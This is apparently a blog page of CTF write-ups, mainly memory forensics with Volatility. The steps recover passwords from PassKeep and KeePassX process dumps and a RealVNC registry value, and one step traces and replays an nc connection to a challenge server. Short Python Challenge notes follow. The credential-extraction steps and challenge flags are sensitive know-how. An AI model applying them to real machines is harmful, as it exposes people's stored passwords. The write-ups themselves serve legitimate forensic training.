Writeup CTF

Nuit Du Hack 2K12 - "Password Manager 1,2"

<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
The latter contained the single file ' memdump.raw '(physical dump of RAM).</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
First, the volatility tool (Windows or Linux) is used to identify the source of this dump RAM.</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
C: \ NDH2K12> volatility.exe imageinfo-f memdump.raw Volatile Systems Volatility Framework 2.0  Determining profile based on search KDbg ...</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
Suggested Profile (s): WinXPSP3x86, WinXPSP2x86 (Instantiated with WinXPSP2x86)  AS Layer1: JKIA32PagedMemory (Kernel AS)  AS Layer2: FileAddressSpace (memdump.raw)  EAP Type: No PAE  DTB: 0 × 39000  KDbg: 0x8054cde0L  KPCR: 0xffdff000L  KUSER_SHARED_DATA: 0xffdf0000L  Image date and time: 2012-05-09 11:06:48  Image local date and time: 2012-05-09 11:06:48  Number of Processors: 1  Image Type: Service Pack 3</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
The turning process in RAM will enlighten us for the rest of our Forensic searches:</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
C: \ NDH2K12> volatility pslist-profile = f memdump.raw WinXPSP3x86- Volatile Systems Volatility Framework 2.0 Offset (V)  Name PID PPID THDS HNDs Time  ------------------- -------  0x812ed020 System 4 0 55 231 1970 -01-01 00:00:00  0x811cc5a0 smss.exe 368 4 3 19 2012-05-09 20:06:10  [...]  0x81129a48 PassKeep.exe            1864 1508 2012-05-09 11:06:17 February 39  0xffb22da0 PassKeep.exe            1872 1864 2 104 2012-05-09 11:06:17  0x8120cc08 svchost.exe 1972 652 5 106 2012-05-09 11:06:21  0xffb7a440 wscntfy.exe 1040 1044 1 39 2012-05-09 11:06:24  0x8113f910 alg.exe 1228 652 7 104 2012-05-09 11:06:24  0xffb43c08 DumpIt.exe 124 1508 1 25 2012-05-09 11 : 06:46</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
We will then be interested in PID 1872 and dump the contents in memory PassKeep.exe</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
D: \ NDH2K12> volatility-profile = WinXPSP3x86 memdump.raw-f-p 1872-D memdump Volatile Systems Volatility Framework 2.0  ************************ ************************************************  Writing PassKeep . exe [1872] to 1872.dmp</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
Search strings later give us the key!</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
C: \ NDH2K12> strings 1872.dmp> 1872.dmp.txt [...] admin admin J5XfFsmdrBkRE</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
http://flag.ndh2012.com</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
Good game  c: \ program files \ software by design \ passkeep  [...]  It only remains to chop to score MD5: Text: J5XfFsmdrBkRE resultabc7d6294e04e6d6f5c4a9e1aa62370f</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
 </div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
 </div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
 </div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
[Write-Up] Nuit Du Hack 2K12 - "Password Manager 2" Category: Forensic Score: 1500 Description: "Please recover the password from KeePass That memory dump. " </div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
We download the following archive: <a href="http://54.247.160.116/forensics/keep2.tar" style="color: #086796; text-decoration: none;">http://54.247.160.116/forensics/keep2.tar</a> <a href="http://54.247.160.116/forensics/keep2.tar" style="color: #086796; text-decoration: none;"></a></div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
The latter contained a single file again: memdump.raw (physical dump of RAM).</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
On the same model as the test "  Password manager 1  "we get to isolate the PIDKeePassX.exe .</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
C: \ NDH2K12> volatility pslist-profile = f memdump.raw WinXPSP3x86- Volatile Systems Volatility Framework 2.0 Offset (V) Name PID PPID THDS HNDs Time ------------------- ------- 0x8111d020 System 4 0 51 240 1970 -01-01 00:00:00 [...] 0xffa25020 KeePassX.exe             768 1584 5 364 2012-04-23 09:16:53</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
Once dumped and scrutinized strings, this time it was realized that the file was not as readable as the previous one: The selection of encoding 16-bit little-endian will help us to see it clearer.</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
C: \ NDH2K12> strings-el 768.dmp> 768.dmp.l.txt</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
This time, there are several instances of "flag.ndh2012.com", but only one with the password that we must pass to score MD5:</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
http://flag.ndh2012.com</div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
textLabel7 Tahoma 7cU6QQKCqxCoHp6ii5WrBCUzVzUGzuS5 ? \ \ \ C: \ Documents and Settings \ ndh \ Application Data \ KeePassX \ config.ini fieldname 2390 </div>
<div style="background-color: white; color: #3d3d3d; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 15px; margin-bottom: 10px; margin-top: 5px; padding: 0px;">
Text: 7cU6QQKCqxCoHp6ii5WrBCUzVzUGzuS5 resulte413334776721843940e04037e99971a</div>

Nuit Du Hack 2K12 - "Password Manager 1,2"

The latter contained the single file ' memdump.raw '(physical dump of RAM). First, the volatility tool (Windows or Linux) is us...

4:05 AM

Nuit du hack 2011 CTF Forensic

<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
We need to analyze  dumped memory. I used <a href="https://www.volatilesystems.com/default/volatility" style="color: #1772af; text-decoration: none;" target="_blank" title="volatility">volatility</a> framework version 1.4_rc1. It’s a great tool for memory forensic. There are Linux and Windows 7 support since version 1.4_rc1.</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
Let’s dump list of process.</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
volatility -f dump.raw psscan 
Volatile Systems Volatility Framework 1.4_rc1 
*** Failed to import volatility.plugins.registry.printkey (SyntaxError: invalid syntax (printkey.py, line 47)) 
PID    PPID   Time created             Time exited              Offset     PDB        Remarks 
—— —— ———————— ———————— ———- ———- —————- 
0      0                                                   0x00551b80 0x00ae2000 Idle 
1664   1580 2011-03-10 13:02:35               0x01fb0020 0x06f10140 ctfmon.exe 
696    632 2011-03-10 13:02:30                 0x01fce938 0x06f100a0 lsass.exe 
928    684 2011-03-10 13:02:31                 0x01fd1500 0x06f100e0 svchost.exe 
532   1020 2011-03-10 13:02:59                0x01fe8020 0x06f10200 wscntfy.exe 
1020    684 2011-03-10 13:02:31               0x01ff4020 0x06f10100 svchost.exe 
1472    684 2011-03-10 13:02:34               0x0201d7e8 0x06f10180 spoolsv.exe 
500    684 2011-03-10 13:02:58                 0×02192020 0x06f101e0 alg.exe 
1696    684 2011-03-10 13:09:47                0x021ea980 0x06f10240 winvnc4.exe 
1460    860 2011-03-10 13:28:33                0x021eb558 0x06f10280 wmiprvse.exe 
1064    684 2011-03-10 13:02:31                 0x022123c0 0x06f10120 svchost.exe 
608    544 2011-03-10 13:02:29                  0x022216e8 0x06f10040 csrss.exe 
544      4 2011-03-10 13:02:27                   0x022356d8 0x06f10020 smss.exe 
1512   1580 2011-03-10 13:28:14                0x02394da0 0x06f101a0 mmc.exe 
1580   1564 2011-03-10 13:02:34                0x023cf620 0x06f101c0 explorer.exe 
860    684 2011-03-10 13:02:31                  0×02429720 0x06f100c0 svchost.exe 
632    544 2011-03-10 13:02:29                  0x024ac9c0 0x06f10060 winlogon.exe 
1300    684 2011-03-10 13:02:33                 0x024df548 0x06f10160 svchost.exe 
684    632 2011-03-10 13:02:30                     0x025365b0 0x06f10080 services.exe 
4      0                                                   0x025c8830 0x00ae2000 System</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
There is process with name winvnc4 and pid 1696. Probably  it must store pasword in memory, file or registry. 
Dump the list of registry hive.</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
volatility -f dump.raw hivelist 
Volatile Systems Volatility Framework 1.4_rc1 
Virtual     Physical    Name 
0x8066e904  0x0066e904  [no name] 
0xe1809008  0x08bfd008  \Device\HarddiskVolume1\Documents and Settings\eleve\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat 
0xe1986008  0x09f7e008  \Device\HarddiskVolume1\Documents and Settings\eleve\NTUSER.DAT 
0xe17a9768  0x08a48768  \Device\HarddiskVolume1\Documents and Settings\LocalService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat 
0xe179b758  0x08a40758  \Device\HarddiskVolume1\Documents and Settings\LocalService\NTUSER.DAT 
0xe1770008  0x085d6008  \Device\HarddiskVolume1\Documents and Settings\NetworkService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat 
0xe175fb60  0x08410b60  \Device\HarddiskVolume1\Documents and Settings\NetworkService\NTUSER.DAT 
0xe13ffb60  0x02f2bb60  \Device\HarddiskVolume1\WINDOWS\system32\config\software 
0xe14ab008  0×07023008  \Device\HarddiskVolume1\WINDOWS\system32\config\default 
0xe14abb60  0x07023b60  \Device\HarddiskVolume1\WINDOWS\system32\config\SAM 
0xe14e4758  0x0369d758  \Device\HarddiskVolume1\WINDOWS\system32\config\SECURITY 
0xe12e8288  0x02d65288  [no name] 
0xe1035b60  0x02aafb60  \Device\HarddiskVolume1\WINDOWS\system32\config\system 
0xe102e008  0x02ab1008  [no name]</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
Print subkeys of hive software.</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
volatility -f dump.raw printkey –hive-offset 0xe13ffb60 
Volatile Systems Volatility Framework 1.4_rc1 
Legend: (S) = Stable (V) = Volatile</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
Key name: $$$PROTO.HIV (S) 
Last updated: 2011-03-10 13:09:47</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
Subkeys: 
(S) C07ft5Y 
(S) Classes 
(S) Clients 
(S) Gemplus 
(S) Microsoft 
(S) ODBC 
(S) Policies 
(S) Program Groups 
(S) RealVNC 
(S) Schlumberger 
(S) Secure 
(S) Windows 3.1 Migration Status</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
 </div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
Get the password.</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
volatility -f dump.raw printkey –hive-offset 0xe13ffb60 –key “RealVNC\\WinVNC4″ 
Volatile Systems Volatility Framework 1.4_rc1 
Legend: (S) = Stable (V) = Volatile</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
Key name: WinVNC4 (S) 
Last updated: 2011-03-10 13:10:51</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
Subkeys:</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
Values: 
REG_BINARY Password : (S) 
0000 DA 6E 31 84 95 77 AD 6B .n1..w.k</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
REG_SZ SecurityTypes : (S) VncAuth 
REG_SZ ReverseSecurityTypes : (S) None 
REG_DWORD QueryConnect : (S) 0 
REG_DWORD QueryOnlyIfLoggedOn : (S) 0</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
After looking in source of RealVNC, I found that password was crypted using d3des.  Quick google search give a nice <a href="http://code.google.com/p/vnc2flv/source/browse/trunk/vnc2flv/vnc2flv/d3des.py?r=2" style="color: #1772af; text-decoration: none;" target="_blank" title="python implementation">python implementation</a> with VNC key.</div>
<div style="background-color: white; border: 0px none; color: #2c2b2b; font-family: arial; font-size: 12px; line-height: 20px; margin-top: 10px; overflow: auto; padding: 0px;">
Password : secretpq 
 
 
 
<h4 style="border: 0px none; font-size: 14px; line-height: normal; margin: 20px 0px 5px; padding: 0px;">
Forensic 300</h4>
<div style="border: 0px none; margin-top: 10px; overflow: auto; padding: 0px;">
<a href="http://repo.shell-storm.org/CTF/NDH2K11-prequals/FORENSIC/FORENSIC300/forensic300.zip" style="color: #1772af; text-decoration: none;" target="_blank">forensic300</a></div>
<div style="border: 0px none; margin-top: 10px; overflow: auto; padding: 0px;">
In this challenge we have memory dump of hacked laptop and need to find some evidence. As in forensic 100 I used volatility and dump process list in firts place.  Option –profile=Win7SP0x86 using to specify OS version.</div>
<div style="border: 0px none; margin-top: 10px; overflow: auto; padding: 0px;">
volatility -f  DumpRAM_CTF.vmem pslist  –profile=Win7SP0x86 Volatile Systems Volatility Framework 1.4_rc1 Name                 Pid    PPid   Thds   Hnds   Time System                    4      0     70    434 2011-03-31 14:38:10 smss.exe                216      4      2     29 2011-03-31 14:38:10 csrss.exe               304    296      8    310 2011-03-31 14:38:18 wininit.exe             340    296      3     79 2011-03-31 14:38:19 csrss.exe               352    332      7    169 2011-03-31 14:38:19 winlogon.exe            392    332      4    112 2011-03-31 14:38:20 services.exe            416    340      9    185 2011-03-31 14:38:20 lsass.exe               424    340      8    462 2011-03-31 14:38:21 lsm.exe                 432    340     10    141 2011-03-31 14:38:21 svchost.exe             556    416     13    354 2011-03-31 14:38:23 svchost.exe             632    416      7    218 2011-03-31 14:38:24 svchost.exe             676    416     20    408 2011-03-31 14:38:25 svchost.exe             800    416     19    401 2011-03-31 14:38:28 svchost.exe             832    416     34    902 2011-03-31 14:38:28 svchost.exe             944    416     13    265 2011-03-31 14:38:29 dwm.exe                1080    800      4     70 2011-03-31 14:38:31 svchost.exe            1140    416     16    365 2011-03-31 14:38:32 spoolsv.exe            1276    416     14    281 2011-03-31 14:38:34 svchost.exe            1312    416     22    311 2011-03-31 14:38:34 taskhost.exe           1324    416     11    166 2011-03-31 14:38:34 sppsvc.exe             1664    416      4    146 2011-03-31 14:38:39 explorer.exe           2004   1992     24    591 2011-03-31 14:38:55 rundll32.exe            356    300      4     66 2011-03-31 14:38:57 rundll32.exe            500    332      4     66 2011-03-31 14:38:57 rundll32.exe            496    504      4     67 2011-03-31 14:38:58 SearchIndexer.         1528    416     14    605 2011-03-31 14:39:05 cmd.exe                1392   2004      1     23 2011-03-31 14:39:39 conhost.exe            1380    352      3     57 2011-03-31 14:39:40 mscorsvw.exe            188    416      6     77 2011-03-31 14:40:38 svchost.exe             668    416     13    315 2011-03-31 14:40:40 nc.exe                 1720   1392      2     72 2011-03-31 14:40:41</div>
<div style="border: 0px none; margin-top: 10px; overflow: auto; padding: 0px;">
Process nc.exe looks suspicious, let’s look at open connection</div>
<div style="border: 0px none; margin-top: 10px; overflow: auto; padding: 0px;">
volatility -f DumpRAM_CTF.vmem netscan  –profile=Win7SP0x86 Volatile Systems Volatility Framework 1.4_rc1 Offset     Proto    Local Address                  Foreign Address      State            Pid      Owner          Created 0x1e4f5930 TCPv4    0.0.0.0:49156                  0.0.0.0:0            LISTENING        416      services.exe 0x1e4f5930 TCPv6    :::49156                       :::0                 LISTENING        416      services.exe 0x1e757008 TCPv4    192.168.163.216:139            0.0.0.0:0            LISTENING        4        System 0x1e764b88 TCPv4    0.0.0.0:135                    0.0.0.0:0            LISTENING        632      svchost.exe 0x1e764b88 TCPv6    :::135                         :::0                 LISTENING        632      svchost.exe 0x1e76ca58 TCPv4    0.0.0.0:135                    0.0.0.0:0            LISTENING        632      svchost.exe 0x1e76ebc8 TCPv4    0.0.0.0:49152                  0.0.0.0:0            LISTENING        340      wininit.exe 0x1e76ebc8 TCPv6    :::49152                       :::0                 LISTENING        340      wininit.exe 0x1e7872f0 TCPv4    0.0.0.0:49152                  0.0.0.0:0            LISTENING        340      wininit.exe 0x1e7ca9b0 TCPv4    0.0.0.0:49153                  0.0.0.0:0            LISTENING        676      svchost.exe 0x1e7ca9b0 TCPv6    :::49153                       :::0                 LISTENING        676      svchost.exe 0x1e7caf60 TCPv4    0.0.0.0:49153                  0.0.0.0:0            LISTENING        676      svchost.exe 0x1eea5f60 TCPv4    0.0.0.0:49155                  0.0.0.0:0            LISTENING        832      svchost.exe 0x1eea5f60 TCPv6    :::49155                       :::0                 LISTENING        832      svchost.exe 0x1eea6f60 TCPv4    0.0.0.0:49155                  0.0.0.0:0            LISTENING        832      svchost.exe 0x1f07fcc0 TCPv4    0.0.0.0:49154                  0.0.0.0:0            LISTENING        424      lsass.exe 0x1f080f60 TCPv4    0.0.0.0:49154                  0.0.0.0:0            LISTENING        424      lsass.exe 0x1f080f60 TCPv6    :::49154                       :::0                 LISTENING        424      lsass.exe 0x1fc482d0 TCPv4    0.0.0.0:49156                  0.0.0.0:0            LISTENING        416      services.exe 0x1fc49560 TCPv4    0.0.0.0:445                    0.0.0.0:0            LISTENING        4        System 0x1fc49560 TCPv6    :::445                         :::0                 LISTENING        4        System 0x1f086df8 TCPv4    192.168.163.216:49158          88.190.230.12:48625  ESTABLISHED      1720     nc.exe 0x1e608d30 UDPv4    0.0.0.0:5355                   *:*                                   1140     svchost.exe    2011-03-31 14:38:55 0x1e60d378 UDPv4    0.0.0.0:0                      *:*                                   1140     svchost.exe    2011-03-31 14:38:55 0x1e60d378 UDPv6    :::0                           *:*                                   1140     svchost.exe    2011-03-31 14:38:55 0x1e633198 UDPv4    192.168.163.216:137            *:*                                   4        System         2011-03-31 14:38:46 0x1e75a178 UDPv4    192.168.163.216:138            *:*                                   4        System         2011-03-31 14:38:46 0x1e7c6198 UDPv4    0.0.0.0:5355                   *:*                                   1140     svchost.exe    2011-03-31 14:38:55 0x1e7c6198 UDPv6    :::5355                        *:*                                   1140     svchost.exe    2011-03-31 14:38:55</div>
<div style="border: 0px none; margin-top: 10px; overflow: auto; padding: 0px;">
We have established connection with 88.190.230.12:48625. Next step I tried to see what data was sent by dumping the process memory  and search for suspicious ip address.</div>
<div style="border: 0px none; margin-top: 10px; overflow: auto; padding: 0px;">
volatility -f  DumpRAM_CTF.vmem memdump  –profile=Win7SP0x86 –dump-dir  mem</div>
<div style="border: 0px none; margin-top: 10px; overflow: auto; padding: 0px;">
 </div>
<div style="border: 0px none; margin-top: 10px; overflow: auto; padding: 0px;">
strings mem/1720.dmp | grep  -C 5 88.190.230.12 %SystemRoot%\system32\mswsock.dll mvvI ,{M% mvvI ,{M% w CKM88.190.230.12 t:$Bf euLSeu `ahu ahu@ `huh – windir=C:\Windows Secret pass is H4x0r Nice job ! The hash is *************** secte.server_of_dark_hamster.com 88.190.230.12</div>
<div style="border: 0px none; margin-top: 10px; overflow: auto; padding: 0px;">
After  sending the string “Secret pass is H4x0r” to 88.190.230.12 48625 is H4x0r. We got the flag.</div>
<div style="border: 0px none; margin-top: 10px; overflow: auto; padding: 0px;">
echo ‘Secret pass is H4x0r’ | nc 88.190.230.12 48625 Nice job!</div>
<div style="border: 0px none; margin-top: 10px; overflow: auto; padding: 0px;">
The hash is 9vjgH368$hgHGjh</div>
</div>

Nuit du hack 2011 CTF Forensic

We need to analyze dumped memory. I used volatility framework version 1.4_rc1. It’s a great tool for memory forensic. There are Linux an...

4:03 AM

python challenge

level 0: <a href="http://www.pythonchallenge.com/pc/def/0.html">http://www.pythonchallenge.com/pc/def/0.html</a> Hint: try to change the URL address. 
<div style="text-align: left;">
Mình đã thử thay đổi url và mình nhận được: 2**38 is much much larger. 2**38 trong python nghĩa là 2 mũ 38.</div>
<div style="text-align: left;">
print pow(2,38) = 274877906944</div>
<div style="text-align: left;">
 </div>
<div style="text-align: left;">
level 1: </div>
<div style="text-align: left;">
Bạn để ý trong hình ảnh: k-> m</div>
<div style="text-align: left;">
o->Q</div>
<div style="text-align: left;">
e->g</div>
<div style="text-align: left;">
 </div>
<div style="text-align: left;">
để ý kĩ thì nó là mã caesar, và map=ocr</div>
<div style="text-align: left;">
 </div>
<div style="text-align: left;">
level 2: </div>
<div style="text-align: left;">
recognize the characters. maybe they are in the book,  but MAYBE they are in the page source.</div>
<div style="text-align: left;">
 </div>
<div style="text-align: left;">
Mình đã view page xem và thấy 1 đống hỗ độn. và mình liên hệ với hint là tìm kiểm kí tự. mình đã code 1 đoạn python</div>
<div style="text-align: left;">
 </div>
<pre class="lang-py prettyprint prettyprinted" style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; line-height: 18px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;"><code style="background-color: white; border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; margin: 0px; padding: 0px; vertical-align: baseline;">string1 = open('text.txt').read()
print ''.join(re.findall('[A-Za-z]', string1))</code></pre>
<pre class="lang-py prettyprint prettyprinted" style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; line-height: 18px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;"><code style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; margin: 0px; padding: 0px; vertical-align: baseline;">cái text.txt là bạn copy cái đống đấy vào file và lưu thành text.txt nhé.</code></pre>
<pre class="lang-py prettyprint prettyprinted" style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; line-height: 18px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;"><code style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; margin: 0px; padding: 0px; vertical-align: baseline;">
</code></pre>
<pre class="lang-py prettyprint prettyprinted" style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; line-height: 18px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;"><code style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; margin: 0px; padding: 0px; vertical-align: baseline;">Level 3: </code></pre>
<pre class="lang-py prettyprint prettyprinted" style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; line-height: 18px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;"><code style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; margin: 0px; padding: 0px; vertical-align: baseline;">Mình vẫn thử view page xem, lại thấy 1 đống hỗ độn. Mình lại dùng 1 đoạn code

<pre class="lang-py prettyprint prettyprinted" style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;"><code style="background-color: white; border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; margin: 0px; padding: 0px; vertical-align: baseline;">string1 = open('text.txt').read()
print ''.join(re.findall('[^A-Z][A-Z]{3}([a-z])[A-Z]{3}[^A-Z]', string1))</code></pre>

<pre class="lang-py prettyprint prettyprinted" style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;"><code style="border: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; margin: 0px; padding: 0px; vertical-align: baseline;">
</code></pre>

</code></pre>
<div style="text-align: -webkit-center;">
 </div>

python challenge

level 0: http://www.pythonchallenge.com/pc/def/0.html Hint: try to change the URL address. Mình đã thử thay đổi url và mình nhận được: 2*...

7:46 PM

Hackyou ctf - steg 100, 200, 300

Hackyou ctf - steg 100, 200, 300

http://blog.w3challs.com/index.php?post/2012/10/13/HackYou-CTF-Stego100%2C-Stego200%2C-Stego300-Writeups

9:17 AM

RuCTF 2013 Quals - Stegano 200

Strange shoplist 
<div class="entry-content body" style="font-family: Georgia, serif; font-size: 13px; line-height: 20.796875px;">
